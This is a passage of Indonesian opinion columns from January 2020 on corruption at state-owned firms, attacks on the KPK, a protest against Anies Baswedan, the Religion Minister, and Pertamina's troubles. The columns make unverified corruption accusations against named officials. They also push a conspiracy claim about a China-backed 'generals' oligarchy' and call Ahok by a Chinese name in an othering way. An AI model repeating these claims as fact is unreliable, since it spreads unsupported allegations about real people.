PDIP terhadap KPK dan hukum. Selain kata “melecehkan”, urutan berikutnya yang lumayan ‘halus’ adalah “mengangkangi”. Setingkat di atasnya adalah “mengentuti”. Sehingga kalimatnya menjadi, “PDIP mengangkangi dan mengentuti KPK serta hukum”. Jadi, lebih baik tidak usah kita carikan alternatif untuk menghaluskan makna “melecehkan”. Inilah yang paling pas. Meskipun tetap getir. Sebetulnya, semua ini tidak mengherakan. PDIP memang sudah lama tak suka KPK. Soalnya, banyak kader mereka yang terkena OTT. Sampai-sampai mereka merasa “dikerjai”. Padahal, begitulah adanya. OTT juga mengguncang parpol-parpol lain. Bahkan, ketua umum Golkar yang juga ketua DPR, Setya Novanto, dan ketua umum PPP, Romahumuziy, pun ikut terjaring. Ketua MK Akil Muchtar juga. Saking dendamnya PDIP pada KPK, para anggota DPR fraksi Banteng paling vokal mengusulkan revisi UU KPK. Yang membuat lembaga antikorupsi itu menjadi seperti sekarang ini. Bisa dilecehkan. Bisa ditolak masuk ke kantor pusat PDIP. Jadi, tidak berlebihan kalau dikatakan PDIP sengaja melemahkan KPK dan kemudian melecehkannya. Secara sistematis dan terencana. Dilemahkan otoritasnya, diatur orang-orang yang memimpinnya. Disesuikan dengan kebutuhan primer parpol. Yaitu, kebutuhan untuk bergerak bebas mencari “kerja lembur” tanpa ancaman OTT.[] 16 Januari 2020 Penulis wartawan senior.

Sebelum Bersih-bersih BUMN, Erick Harus “Berkaca”

Oleh Mochamad Toha Jakarta, FNN - Skandal korupsi PT Asuransi Jiwasraya merupakan puncak gunung es dari bencana korupsi yang melanda hampir seluruh BUMN. Menyusul kemudian korupsi di PT Asuransi ABRI (Asabri) dan YKPP (Yayasan Kesejahteraan Prajurit). Total skandal keduanya, jumlahnya mencapai Rp 23,7 triliun (Jiwasraya Rp 13,7 triliun dan Asabri Rp 10 triliun). Terkait dugaan kasus korupsi Asabri ini, Menkopolhukam Mahfud MD akan memanggil Menteri BUMN Erick Thohir dan Menkeu Sri Mulyani. Kini, BPK sedang melakukan audit atas Asabri. Menko Mahfud mengaku sudah mendengar hal itu. Bahkan, pakar hukum tata negara ini menduga, ada korupsi di atas Rp 10 triliun uang yayasan yang dikumpulkan dari para prajurit TNI. “Saya mendengar ada isu korupsi di Asabri yang mungkin itu tidak kalah fantastisnya dengan kasus Jiwasraya. Di atas Rp 10 triliun itu,” kata Menko Mahfud di kantornya, Jalan Medan Merdeka Barat, Jakarta Pusat, Jumat (10/1/2020). “Asabri itu punyanya orang kecil. Itu punyanya prajurit. Polisi, tentara yang pensiun-pensiun yang pangkatnya kecil. Itu kan banyak yang nggak punya rumah, nggak bisa keluar,” lanjut Menko Mahfud. Karena menyangkut hajat hidup orang banyak, maka Mahfud akan melakukan serangkaian langkah strategis. Salah satunya memanggil menteri terkait. Menurutnya, ada persamaan modus dalam dugaan korupsi Asabri dengan korupsi Jiwasraya. “Modus operandinya sama. Bahkan, mungkin ada beberapa orangnya yang sama,” ungkap Mahfud, seperti dilansir Tempo.co, Senin (13/1/2020). Ia belum mau mengungkap seluruhnya dugaan yang ditemukannya. Mahfud berjanji kasus ini akan terus ditindak lanjuti. Pasalnya, Mahfud mengatakan Presiden Joko Widodo sudah meminta agar semua kasus korupsi dibongkar dan dibawa ke pengadilan. Terlebih dugaan awal, korupsi Asabri merugikan negara hingga lebih dari Rp 10 triliun. Mahfud menegaskan tidak boleh toleran terhadap korupsi. “Kita akan segera panggil Bu Sri Mulyani dan Pak Erick Tohir untuk menanyakan duduk masalahnya. Kalau memang ada masalah hukum ya kita giring ke pengadilan,” tuturnya. “Tidak boleh korupsi untuk orang-orang prajurit untuk tentara yang bekerja mati-matian meninggalkan tempat sesudah masa pensiunnya disengaarakan. Gitu ya. Dan itu kan haknya prajurit,” tegas Mahfud, Bila indikasinya kuat, maka Mahfud yang akan mengantarkan sendiri ke aparat hukum. Tidak peduli apakah ada unsur militer yang terlibat. “Mari kita giring proses hukum ini supaya diungkap. Nggak usah berspekulasi si A terlibat, ini dari istana. Ndak ada itu,” ujarnya. “Pokoknya Presiden sudah memerintahkan gebuki semua yang korupsi itu jangan ditutup-tutupi, yakin lah. Jadi kalau orang yang selalu curiga ini terlibat ini terlibat, kasih ke saya. Saya nanti yang antarkan ke KPK atau ke kejaksaan,” tegasnya, seperti dilansir Detik.com. Wamen BUMN Kartika Wirjoatmodjo memperkirakan, penyelesaian persoalan Asabri bakal berbeda dengan langkah penyelamatan Jiwasraya. “Asabri kan asuransi sosial, penyelesaiannya pasti berbeda dengan Jiwasraya. Nanti akan dilihat dengan Pak Menkopolhukam (Mahfud MD),” ujar Kartika di Gedung MA, Jakarta, Senin, (13/1/2020). Perbedaan itu, lanjut bekas Direktur Utama Bank Mandiri itu, karena Asabri adalah asuransi sosial, bukan asuransi umum. Tidak bisa dalam konteks begitu agak sulit karena dia asuransi sosial. Menurutnya, penurunan nilai dalam investasi saham Asabri memang terjadi. Namun, Kartika belum bisa memastikan jumlahnya lantaran hingga kini masih terus bergerak. Ia mengatakan kementeriannya juga masih akan menunggu laporan BPK terkait persoalan tersebut. “Jadi kami belum tahu (penyelesaiannya), kami baru mau teliti dulu kejadiannya seperti apa lostnya seperti apa, jadi belum ada opsinya,” tutur Kartika. Seperti diketahui saham-saham yang menjadi portofolio Asabri berguguran sepanjang 2019. Bahkan, penurunan harga saham bisa mencapai lebih dari 90 persen sepanjang tahun berjalan. Dari keterbukaan informasi diketahui, ada 14 saham yang masuk ke dalam portofolio Asabri. Namun, Asabri melepas seluruh investasinya di PT Pool Advista Finance Tbk. (POOL) pada Desember 2019. Sehingga akibatnya, saham POOL terjun paling dalam di antara portofolio Asabri lainnya dengan penurunan 96,93 persen sepanjang 2019. Bahkan, saham tersebut disuspensi hingga kini sejak 30 Desember 2019, dengan level harga penutupan Rp 156. Harga saham yang jeblok berikutnya adalah PT Alfa Energi Investama Tbk. (FIRE), yang terkoreksi 95,79 persen pada tahun lalu ke level Rp 326. Penurunan drastis pun dialami saham PT SMR Utama Tbk. (SMRU) sebesar 92,31 persen ke posisi Rp 50. Melansir Tempo.co, Senin (13/1/2020), level harga 'gocap' itu pun bertahan hingga sekarang. Asabri memegang 6,61 persen saham SMRU. Jika menyimak modusnya, memang kasus ini serupa dengan skandal Jiwasraya. Siapa yang bermain? Erick Bersih? Terbongkarnya skandal Jiwasraya dan menyusul dugaan korupsi dengan modus serupa di Asabri membuat Menteri BUMN Erick Thohir geram. Ia pun mengancam akan mencopot Direksi BUMN yang “menyulap” laporan keuangan. Seperti dilansir Kompas.com, Jum’at (10/01/2020, 11:17 WIB), Erick menyatakan bahwa ia akan mencopot direksi perusahaan plat merah yang menyulap laporan keuangannya menjadi lebih bagus dibandingkan faktanya. Sebab, tindakan tersebut tak mencerminkan tata kelola perusahaan yang baik dan benar. “Ini contoh, tapi hal itu bisa saja mereka kita ganti,” ujar Erick, Jumat (10/1/2020). Menurutnya, pemolesan laporan keuangan sebuah perusahaan BUMN merupakan tindakan kriminal. Apalagi, pemolesan laporan keuangan itu dilakukan agar hanya ingin mencari bonus karena dianggap telah melakukan kinerja yang baik bagi perusahaan. Yang sering terjadi di BUMN saat ini adalah window dressing laporan keuangan yang bisa masuk tindakan kriminal. “Terlebih jika window dressing itu kelihatan untung tapi tidak ada cash dan hanya ada untuk gaji dan bonus,” kata Erick. Karena itu, dalam pemilihan jajaran direksi perusahaan BUMN, Erick mempunyai beberapa kualifikasi yang harus dipenuhi. Salah satunya menyangkut akhlak. “Pemimpin BUMN, direksinya, harus punya akhlak, loyalitas, dan team work,” ungkap Erick. Contohnya, PT Garuda Indonesia (Persero) Tbk mempublikasikan ulang (restatement) laporan keuangan pada 2018. Hal tersebut dilakukan merespon hasil keputusan Kementerian Keuangan, OJK dan BPK. Pada laporan keuangan yang disajikan ulang tersebut, Garuda mencatatkan rugi bersih sebesar 175,02 juta dollar AS (Rp 2,45 triliun) dari sebelumnya laba 5,01 juta dollar AS. Kemenkeu dan OJK menemukan adanya pelanggaran di laporan keuangan Garuda tahun buku 2018 itu. Setelah menemukan pelanggaran itu, OJK dan Kemenkeu pun memberikan sanksi kepada Garuda dan auditor yang mengaudit laporan keuangannya. Korupsi Jiwasraya puncak gunung es dari bencana korupsi yang melanda hampir seluruh BUMN. Tekad Erick akan memecat semua direksi BUMN yang terlibat dalam window dressing laporan keuangan/kinerja korporasi harus dibuktikan dengan tindakan nyata. Beranikah Erick memecat semua direksi BUMN? Sebelum Menteri BUMN itu memecat semua direksi BUMN yang terlibat window dressing (manipulasi laporan keuangan – kinerja), sebaiknya terlebih dulu mengklarifikasi informasi seputar dugaan korupsi Erick saat menjabat Ketua IOC Asian Games 2018. Jejak digital menulis, ada dana Asian Games 2018 lalu yang miss mencapai sekitar Rp 1,2 triliun, dan itu nasibnya ada di BPK. Sinyal itu ditegaskan oleh mantan Ketua KPK Agus Rahardjo dan mantan Wakil Ketua KPK Saut Situmorang. Bahkan, informasi yang berkembang luas seputar dugaan korupsinya mencapai Rp 7 triliun. Mereka tidak menyebut nama dan perilaku secara spesifik yang mengarah ke sana, namun ungkapan itu memang ada peluang besar ke mantan Menpora Imam Nahrowi dan Erick. Imam Nahrowi kini menghadapi proses hukum di Pengadilan Tipikor Jakarta terkait skandal dana hibah KONI. Sementara Erick Thohir ditunjuk Presiden sebagai Menteri BUMN karena dinilai sukses sebagai Ketua Inasgoc dalam perhelatan Asian Games 2018 lalu. Akankah Erick Thohir digiring oleh penyidik KPK ke arah tersangka, sebagaimana Menpora jadi tersangka? Agus Rahardjo sebelumnya mengatakan, pihaknya masih mendalami siapa saja yang terlibat dalam kasus kickback dana hibah Kemenpora ke KONI. Bahkan, KPK juga akan mengembangkan kasus dana hibah Kemenpora ke KONI itu hingga kemana-mana. Termasuk diantaranya menyelidiki hingga dana untuk Asian Games 2018 itu. “Kami masih dalami siapa saja yang akan terlibat kemudian rangkaiannya kemana,” ujarnya. “Kalau Kemenpora pasti tidak hanya dana hibah Kemenpora ke KONI, tapi ada juga yang ke International Olympic Committee (IOC). Ya kami bisa men-trace juga misalnya penggunaan dana Asian Games kemarin ya,” tegas Agus Rahardjo. Meski begitu, Agus enggan menyampaikannya secara detail mengingat hal itu saat ini sedang dalam penelusuran tim KPK. “Jadi, kami akan telusuri itu. Kami belum bisa melaporkannya secara komplit, secara jelas,” lanjut Agus Rahardjo. Mantan Wakil Ketua KPK Saut Situmorang lebih tegas lagi. Institusinya telah menemukan indikasi-indikasi korupsi menjelang dan saat pergelaran Asian Games 2018 lalu itu. “Kami sudah melihat indikasi-indikasi (korupsi) waktu itu,” ujar Saut Situmorang. Semua data, semua percakapan, termasuk mutasi rekening dan bukti-bukti lain sudah ada di tangan. KPK tinggal menunggu waktu yang tepat untuk membongkar semuanya. Termasuk dugaan penyimpangan dana terkait Asian Games 2018. Pergelaran Asian Games 2018 tersebut terbilang sukses pelaksanaan dan sukses prestasi, menjadi sorotan banyak mata dunia. Namun, di balik kemeriahan itu KPK mencium aroma korupsi menjelang dan saat pergelaran Asian Games 2018. Pelan tapi pasti KPK mengusut indikasi korupsi atas even olahraga Internasional itu, sebab dana yang digunakan sekitar Rp 30 triliun, bukan tidak mungkin ada tangan nakal pejabat yang memanfaatkan uang tersebut untuk masuk kantong pribadi. Kabarnya, ada dana senilai Rp1,2 triliun yang tak bisa dipertanggungjawabkan. “Kami sudah melihat indikasi-indikasi (korupsi) waktu itu, tapi kami mau kelancaran acara (Asian Games 2018),” ujar Saut Situmorang kepada wartawan. Sebaiknya jika Presiden Jokowi berniat bersih-bersih koruptor, jangan memakai sapu kotor. Tapi, harus dengan sapu bersih! Penulis adalah wartawan senior

Upaya Jegal Anies Nyapres, Rival Mulai Bergeliat

Oleh Mochamad Toha Jakarta, FNN - Telah beredar video berdurasi sekitar 1 menit usai “Demo Anti Anies” yang gagal di Balai Kota Jakarta, Selasa (14/1/2020). Dalam video itu, salah seorang pendemo mengaku dibayar Rp 40.000 untuk mendemo Gubernur DKI Jakarta Anies Baswedan. Pengakuan masa bayaran Rp 40 ribu viral di media sosial menjelang demo berakhir. Salah satunya, video berdurasi 1 menit lebih yang dibagikan akun@francmohede. “Pembodohan generasi muda. Bocah2 asli Jakarta dipengaruhi 40 ribu utk ikutan demo @aniesbaswedan. Aktor2 penggerak demo bukan ingin perbaikan, mereka pemecah belah bangsa.” “Itu Jabar, Banten dan Jateng korban banjirnya lebih banyak, Gubernurnya kayak ga punya dosa,” tulis pemilik akun twitter menyertai videonya, seperti dikutip Indopolitika.com, Rabu (15/1/2020). Dalam video tersebut, ada beberapa remaja yang dikumpulkan diduga diamankan massa pro Anies di salah satu lokasi. Mereka terdiri dari remaja pria dan wanita. Mereka lantas ditanya oleh beberapa orang dengan logat Betawi kental. “Ente dibayar ye? Dibayar berape?” tanya salah seorang jawara ke pendemo. Pendemo pun menjawab,”empat puluh”. “Berapa? Empat puluh ribu? Ente dibayar empat puluh ribu buat ngedemo Anies?” tanya jawara itu lagi. “Iya bang,” jawab si pendemo yang tidak diketahui namanya itu. Jawara juga menanyakan tempat tinggal si pendemo. “Ente tinggal dimane?” tanya dia. “Di Pulo Gundul,” jawabnya. “Oh Pulo Gundul, Johar Baru? Eh, ane nongkrong di Johar, ente dimanenye kok gak pernah liat,” tanya jawara lagi. Pendemo pun terdiam. Akhirnya para jawara dan warga Betawi yang menggelar Aksi Bela Anies itu mengamankan para pendemo bayaran, yang sebagian besar berusia remaja, menjauh dari area digelarnya demo. Itulah sekelumit cerita dan fakta di lapangan terkait demo “Anti Anies” yang dimotori oleh politisi PDIP Dewi Tanjung dan aktivis medsos Permadi Arya alias Abu Janda pada Selasa (14/1/2020). Mereka ini tak lain adalah para pendukung Basuki Tjahaja Purnama alias Ahok yang menjadi rival saat Pilkada DKI Jakarta pada 2017. Setidaknya, indikasi itu disampaikan Ketua DPD Gerindra Jakarta M. Taufik. Menurutnya, demo kontra Anies diinisiasi orang-orang yang belum menerima kemenangan Anies dalam Pilkada 2017. Taufik menyebut inisiator demo kontra Anies adalah pendukung Komut PT Pertamina, Basuki Tjahaja Purnama atau Ahok, yang dulu menjadi rival Anies. “Itu demo orang yang belum move on saja, Abu Janda, Dewi Tanjung. Abu Janda kan orang nggak move on karena Ahoknya kalah. Orang yang nggak ngerti nasib, kalau itu (Anies jadi gubernur) itu nasib,” kata Taufik. “Kalah ya kalah aja, ngapain berlarut-larut. Emang bisa apa dia Abu Janda ngurus Jakarta?” lanjut Taufik, seperti dilansir Detik.com, Selasa (14/1/2020). Selasa (14/1), dua kelompok massa pro dan kontra – Anies Baswedan melakukan unjuk rasa di sekitar Balai Kota kemudian Patung Kuda Arjuna Wiwaha, Jakarta Pusat. Aksi kelompok kontra Anies diikuti oleh sejumlah korban banjir. Mereka menuntut Anies mundur. Politikus PDIP Dewi Tanjung dan aktivis Permadi Arya (Abu Janda) ikut dalam aksi tersebut. Sementara, demo dari kelompok lainnya akan diikuti anggota DPD dari DKI Jakarta, Fahira Idris, bersama ormas Bang Japar. Mereka menyiapkan 'Aksi Jaga dan Kawal Anies'. Kepemimpinan Anies Baswedan dinilai lebih baik dibandingkan dua era sebelumnya, yakni Basuki Tjahaja Purnama maupun Joko Widodo. Pada 2012, pertumbuhan ekonomi Jakarta sebesar 6,53 persen dan setahun setelahnya turun menjadi 6,07 persen. Secara statistik, pada 2014 turun lagi 5,91 persen. Semasa Ahok turun terus hingga 2016 itu 5,87 persen. Soal angka kemiskinan pada era Jokowi memimpin Jakarta, persisnya 2012, itu justru naik dari 3,69 persen menjadi 4,09 persen 2014. Pertumbuhan ekonomi naik tapi kemiskinan naik. Apa artinya? Kesenjangan sosial di DKI meningkat tajam. Sebaliknya, pada era Anies, angka kemiskinan di Jakarta pada Maret 2018 turun menjadi 3,57persen. Pada September 2018, kembali turun 3,55 persen. Penanganan Banjir Jakarta. Dalam penanganan banjir Jakarta, berikut tabel perbandingan kondisi banjir Jakarta dari tahun ke tahun. Tahun 2020: Curah hujan tertinggi dalam 24 tahun terakhir, mencapai 377, namun luas area yang tergenang rendah 156, jumlah pengungsi 31.232 (paling rendah dibanding 2015, 2013, 2007, 2002), dan waktu surut sangat cepat 4 hari. Juga tidak ada area strategis yang tergenang (seperti Bundaran HI atau Istana Negara). Jadi, jika mau kritisi soal banjir Jakarta, sebaiknya tagih saja mantan Gubernur DKI Jakarta yang pernah berjanji akan lebih mudah tangani banjir jika ia jadi Presiden. Jegal Anies Demo Anti Anies yang menuntut Anies Baswedan mundur dari jabatannya sebagai Gubernur DKI Jakarta itu jelas bernuansa politik untuk men-down grade kinerja Anies selama menjabat Gubernur DKI Jakarta itu. Arahnya jelas: menjegal Anies nyapres pada 2024! Sehingga, dengan moment “Banjir Jakarta”, 1 Januari 2020 lalu itu dimanfaatkan untuk down grade Anies bahwa dia tidak bisa bekerja. Adanya bukti, pendemo yang dibayar Rp 40 ribu itu menjawab bahwa ada “bandar” yang gelontorin duit untuk aksi itu. Siapa dia yang bandarin mereka ini, tentu hanya mereka korlap yang tahu. Jika jeli, pasti kita bisa menyibak tirai bandar itu. Tapi, dalam tulisan ini saya tak akan menduga-duga siapa saja yang membayar mereka yang “Demo Anti Anies” tersebut. Bahwa pada 2024 nanti akan ada gelaran Pilpres 2024. Salah seorang tokoh yang digadang-gadang untuk maju Pilpres 2024 diantaranya Anies Baswedan. Rival yang bakal dihadapinya tidak jauh dari saat Pilkada DKI Jakarta 2017. Siapa mereka? Kabar yang beredar diantaranya adalah Agus Harimurty Yudhoyono (AHY), Andika Perkasa (KSAD), dan Ahok. Mereka ini disokong oleh “oligarki jenderal” yang selama ini sebenarnya berada di belakang pemerintahan Presiden Joko Widodo. Kabarnya, AHY atau AP akan dipasangkan dengan Ahok sebagai Capres-Cawapres 2024. Rencana Geng “oligarki militer” ini sudah tercium yang mendorong Ahok (Zhang Wan Xie) sebagai cawapres AHY atau AP yang maju capres pada 2024 nanti. Rencana ini pasti terwujud jika presiden Amerika Serikat terpilih pada 4 November 2020 itu berasal dari Partai Demokrat. Sehingga duet Duet AHY atau AP - Zhang Wan Xie 2024 akan unstoppable, tidak bisa dicegah! Makanya, moment OTT Komisioner KPU Wahyu Setiawan yang diapresiasi rakyat terhadap KPK itu bisa mengubah konstelasi politik. Besar harapan rakyat melalui kasus suap Wahyu ini, dugaan manipulasi pada Penetapan Hasil Pemilu/Pilpres 2019 bisa diusut tuntas. Pengembangan kasus suap KPU oleh KPK dipastikan akan dapat mengubah total konstelasi politik nasional dan mengantar kelompok mayoritas Islam-nasionalis menjadi the ruling party menggantikan rezim “oligarki jenderal”. Dugaan korupsi yang telah merugikan negara Rp 8 triliun pada penyerahan aset Pemda DKI Jakarta kepada BUMD PT Jaktour (inbreng lahan tanah 794.830 m2 dan gedung/apartemen pada 2014-2015) semakin sulit dituntaskan. Terindikasi ada penghalangan penuntasan kasus dari BPK. Upaya publik mengakses LHP BPK No. 13A tahun 2015 yang memuat temuan pemeriksaan BPK atas inbreng lahan aset DKI itu dihambat melalui penyembunyian LHP dan pemalsuan LHP oleh BPK Jakarta. Pencegahan proses hukum atas Ahok terduga koruptor RSSW, Cengkareng, Taman BMW, Inbreng Jaktour dan lain-lain, total kerugian negara lebih dari Rp 176 triliun oleh “oligarki militer” terkait erat dengan rencana memanfaatkan dukungan China pada Pilpres 2024. Bagi Anies sendiri, yang harus dicermati: Pilpres 2024 bareng dengan Pilkada Serentak 2024. Masa jabatan Anies sampai 2022. Yang 2 tahun Pj atau Plt yang diatur oleh Kemendagri. Jadi kalau mau nyapres/nyagub Anies harus istirahat dulu 2 tahun. Siapkah Anies dan pendukungnya rehat selama 2 tahun sebelum nyapres 2024? Sementara, calon rivalnya dengan dana tak terbatas sudah running duluan. Penulis adalah wartawan senior

Menag Kok Begini

Menteri Agama seharusnya menjadi benteng uatama pemeliharaan agama-agama dalam menghadapi pengaruh kapitalisme dan liberalisme di Indonesia. Bukan sebaliknya, pengobok-obok agama yang telah menjadi pular utama pejuangan bangsa melawan penjajah dulu. By M. Rizal Fadillah Jakarta, FNN - Setelah ramai jadi figur terdepan anti radikalisme, pak Menteri Agama (Menag) langsung menggebrak. Cadar dan celana cingkrang menjadi sasaran pertama dari isu dan kebijakan Menag. Lanjut dengan langkah pemberangusan kurikulum yang bermuatan materi jihad dan khilafah. Kemudian setelah itu ramai soal madrasah yang akan berbahasa mandarin, disamping bahasa asing lain seperti bahasa inggris. Padahal publik negeri ini sedang peka-pekanya terhadap urusan dan hal-ihwal yang berkaitan dengan China. Masalah yang paling krusial adalah membanjirnya tenaga kerja China, maupun pelanggaran di perairan Kepulauan Natuna. Lho Menag kok begini. Mutakhir dari Menag adalah menyalahkan pemahaman Islam di Aceh. Menag bilang di Aceh tidak ada bioskop. Menag merujuk pada kota Jeddah, Arab Saudi yang ada bioskop. Kini pemerintah Arab Saudi membuat kebijakan yang membolehkan keberadaan bioskop. Serangan Menag terarah ke Aceh. Lalu apa yang salah dengan pemahaman Islam di Aceh? Adalah hak setaip daerah, untuk ada atau tidak ada bioskop. Apalagi Aceh sebagai Daerah Istimewa. Membandingkan dengan keberadaan bioskop di Jeddah dengan Aceh, sebenarnya sangatlah tidak proporsional, meski Saudi Arabia memang baru sekarang mengambil "open policy" seperti itu. Jeddah bukanlah "forbidden city" atau kota terlarang. Sebab agama-agama non muslim juga ada di Jeddah. Apalagi sekedar hanya ada bioskop. Tentu saja ada kebijakan yang berbeda antara Jeddah dengan Mekkah atau Madinah. Sebab di dua kota "haramain" ini tidak boleh ada bioskop. Hiburan pun hanya terbatas untuk menjaga aspek keagamaannya. Coba pak Menag datanglah ke Mekkah atau ke Madinah. Pasti Menag tidak akan berkomentar sompral menyalahkan Islam Aceh. Bukankah spirit Aceh itu untuk menjadi "Serambi Mekkah" ? Pak Menteri Fachrul Razi memang sejak pengangkatannya dinilai kontroversial. Nahdatul Ulama (NU) terkesan kesal dengan kebijakan Jokowi. Sebab Jokowi mengangkat Menteri Agama yang tidak merepresentasi wakil dari NU. Padahal Kementerian Agama, sudah sejak negeri ini merdeka, menjadi konvensi tidak tertulis untuk ditempati oleh wakil dari NU. Berbasis TNI dengan tugas utama menghadapi "radikalisme" dan "intoleransi". Arah pada umat Islam sulit untuk diterima. Menag terlalu tendensius dan tidak simpatik. Agama merupakan masalah yang peka, dan jika dipaksakan pemahaman seragam, maka bisa berujung pada antipati dan friksi. Serangan soal cingrang, jihad, khilafah, dan bioskop jelas kontra produktif. Kasarnya Menag cuma cari gara-gara soal kemerdekaan dan kebebasan beragama yang dijamin oleh konstitusi. Meruntuhkan fanatisme beragama sama saja dengan menghancurkan agama itu sendiri. Menteri Agama seharusnya menjadi benteng uatama pemeliharaan agama-agama dalam menghadapi pengaruh kapitalisme dan liberalisme di Indonesia. Bukan sebaliknya, pengobok-obok agama yang telah menjadi pular utama pejuangan bangsa melawan penjajah dulu. Bahwa ada oknum yang menyimpang, sebaiknya dilokalisasi pada oknum tersebut. Bila perlu dihukum. Bukan dengan generalisasi pemahaman atau interpretasi adakah otoritarian. Ironi sekali jika menuduh orang intoleran atau radikal, padahal dirinyalah yang otoriter dan radikal tersebut. Baiknya pak Menag agak bersabar dan toleran. Jangan gampang menyalahkan orang lain. Biarkan saja rakyat Aceh di kota tertentu melarang ada bioskop tidak ada bioskop. Toh tujuannya baik, yakni menjaga moral bangsa. Sebab masalah merosotnya moral bangsa sedang menjadi penyakit yang mewabah. Buktinya, korupsi terjadi pada hampir semua lini kehidupan berbangsa dan bernegara kita. Janganlah sampai moral pemimpin yang buruklah yang dijadikan contoh. Seperti seorang Gubernur yang menantang, dengan mengatakan, “apa salahnya memiliki kegemaran nonton video porno”? Salahnya sudah jelas, namun tidak tahu malu. Akiabtnya, makan duit haram ratusan dollar pun tidak akan malu. Pak Menteri harus lebih menyosialisasikan dua budaya bagi pembangunan karakter bangsa. Pertama, budaya malu (shame culuture). Kedua, budaya merasa berdosa (sin culture). Dua cama budaya yang mendesak, dan sangat dibutuhkan bangsa Indonesia saat ini. Krisis dan kehancuran moral bangsa Indonesia sekarang ini, karena para pemimpin telah tergerus rasa malu dan rasa berdosanya. Yang inilah tugas utama Menteri Agama. Bukan sibuk di urusan yang justru mengganggu stabilitas umat beragama. Koreksi diri jauh lebih baik. Semoga ke depan tidak ada lagi anak bangsa ini yang menyatakan "Menag kok begini". Penulis adalah Pemerhati Politik

Amburadulnya Sektor Migas & BUMN Migas

Sementara itu, pembangunan kilang-kilang migas yang menjadi prioritas utama pemerintah dalam sektor ini hanya bisa melangkah di tempat. Tidak mempelihatkan kemajuan yang berarti di lapangan. Bahkan presiden menyebut bahwa pembangunan kilang tidak mengalami perkembangan, meskipun hanya persen saja. Itu berarti Pertamina hanya bisa bertahan dengan kilang-kilang lama yang sudah sangat tua. By Salamuddin Daeng Jakarta, FNN - Sektor migas dan Badan Usaha Milik Negara (BUMN) migas memperlihatkan keadaan yang sangat amburadul. Kenyataan itu ditemukan dalam tahun tahun belakangan ini. Mulai dari lingkungan makro yang tidak kondusif, hingga kinerja perusahaan-perusahaan BUMN xsektor migas yang semakin buruk. Sektor migas adalah salah sektor kunci bagi pertumbuhan ekonomi. Penerimaan negara, terutama pajak dan stabilitas moneter mendapat kontribusi besar dari sektor ini. Sektor migas adalah kunci bagi defisit tidaknya neraca perdagangan, neraca transaksi berjalan dan juga defisit APBN. Bayangkan saja. Dalam dua tahun terakhir, tidak ada investasi baru di sektor migas. Semua ini karena sektor migas menghadapi lingkungan regulasi yang sangat buruk. Misalnya, ketidakpastian hukum, dan merajalelanya praktek KKN serta mafia migas. Semua kondisi ini tidak hanya membuat investor ngeri menghadapi oligarki Indonesia. Namun investor juga mengakhiri kegiatan mereka di Indonesia. Mafiamigas disinyalir menguasai rantai ekonomi migas mulai dari hulu sampai hilir. Mulai dari produksi minyak, kilang hingga ijin pendirian SPBU dan SPBG. Sementara itu perusahaan BUMN migas hanya punya prestasi menumpuk utang. Utang yang ditumpuk melalui global bond oleh Pertamina misalnya, mencapai dua kali lipat dalam dua tahun terakhir sejak era teformasi 1998. Setengah utang dalam global bond yang bertumpuk di Pertamina tersebut, dibuat hanya dalam dua tahun, yakni tahun 2018 dan 2019. Kondisi paling mengkuatirkan adalah produksi minyak terus merosot. Lifting minyak juga merosot. Pendapatan perusahaan BUMN Pertamina juga menurun drastis. Perusahaan BUMN tidak dapat meningkatkan penanaman modal mereka di dalam usaha mereka di hulu migas. Kenyataan ini juga mengakibatkan blok-blok migas yang dikuasai Pertamina tidak dapat berproduksi secara optimal. Tentu saja ini memperparah impor BBM dan LPG. Juga memperparah defisit perdagangan, dan defisit transaksi. Pada akhirnya akan menguras dana subsidi dari APBN. Sementara itu, pembangunan kilang-kilang migas yang menjadi prioritas utama pemerintah dalam sektor ini hanya bisa melangkah di tempat. Tidak mempelihatkan kemajuan yang berarti di lapangan. Bahkan presiden menyebut bahwa pembangunan kilang tidak mengalami perkembangan, meskipun hanya persen saja. Itu berarti Pertamina hanya bisa bertahan dengan kilang-kilang lama. Pertamina yang ditugaskan membangun kilang tidak melakukan apa apa. Padahal Pertamina sudah membuat satu Direktur Mega Proyek untuk mengurusi pembangunan kilang, mencari mitra dalam dan luar negeri. Namun hasilnya tidak ada satu persenpun. Sengaja atau tidak sengaja, kondisi inilah yang melestarikan mafia impor BBM sebagaimana yang disinggung Presiden Jokowi. Pada bagian lain subsidi malah membengkak atau jebol. Kemampuan kontrol perusahaan Pertamina dalam pelaksanaan distribusi BBM bersubsidi tidak efektif dan efisien. Subsidi BBM masih merupakan kelompok subsidi paling besar dalam dalam APBN, yakni untuk LPG dan solar. Tidak terlihat adanya kemajuan dari manejemen Pertamina dalam mengatasi permasalahan subsidi LPG yang samakin membengkak tersebut. Faktanya juga semakin tidak masuk akal. Sebab nilai subsidi LPG sekarang semakin membengkak, dan sudah mencapai Rp 70 triliun lebih setahun. Pertamina juga telah menjalin kerjasama dengan Telkom. Kerjasama ini gembar-gembor tentang program digitalisasi. Suatu mega proyek untuk menghubungkan rantai produksi Pertamina dengan ICT, dunia digital hingga fintech. Namun program ini ternyata tidak membuahkan hasil apa apa. Kerjsama Pertamina dengan Telkom juga tidak mendukung adanya peningkatan produksi, produktifitas, efesisnsi. Tidak juga terjadi optimalisasi pada seluruh lini bisnis Pertamina, terutama bidang pemasaran. Tragisnya lagi, Pertamina harus membayar ke PT Telkom Rp 800 miliar setahun sebagai fee atas fasilitas digitalisasi yang konon dibangun bersama oleh Telkom di Pertamina. Nilai yang dibayar Pertamina ke Telkom tersebut, setara dengan dua kali gaji seluruh pekerja Pertamina. Jika uang itu dibagikan kepada 14.000 karyawan Pertamina, maka masing-masing karyawan akan mendapatkan tambahan sedikitnya Rp 50-60 juta setahun. Ternyata gawat juga kaadaan yang terjadi di Pertamina ya? Keadaan ini harus bisa diakhir oleh Presiden Jokowi. Mudah-mudahan saja berhasil. Penulis adalah Peneliti Asosiasi Ekonomi Politik Indonesia (AEPI)

Kapitalis Leluasa Dibawah Sinar Rule of Law

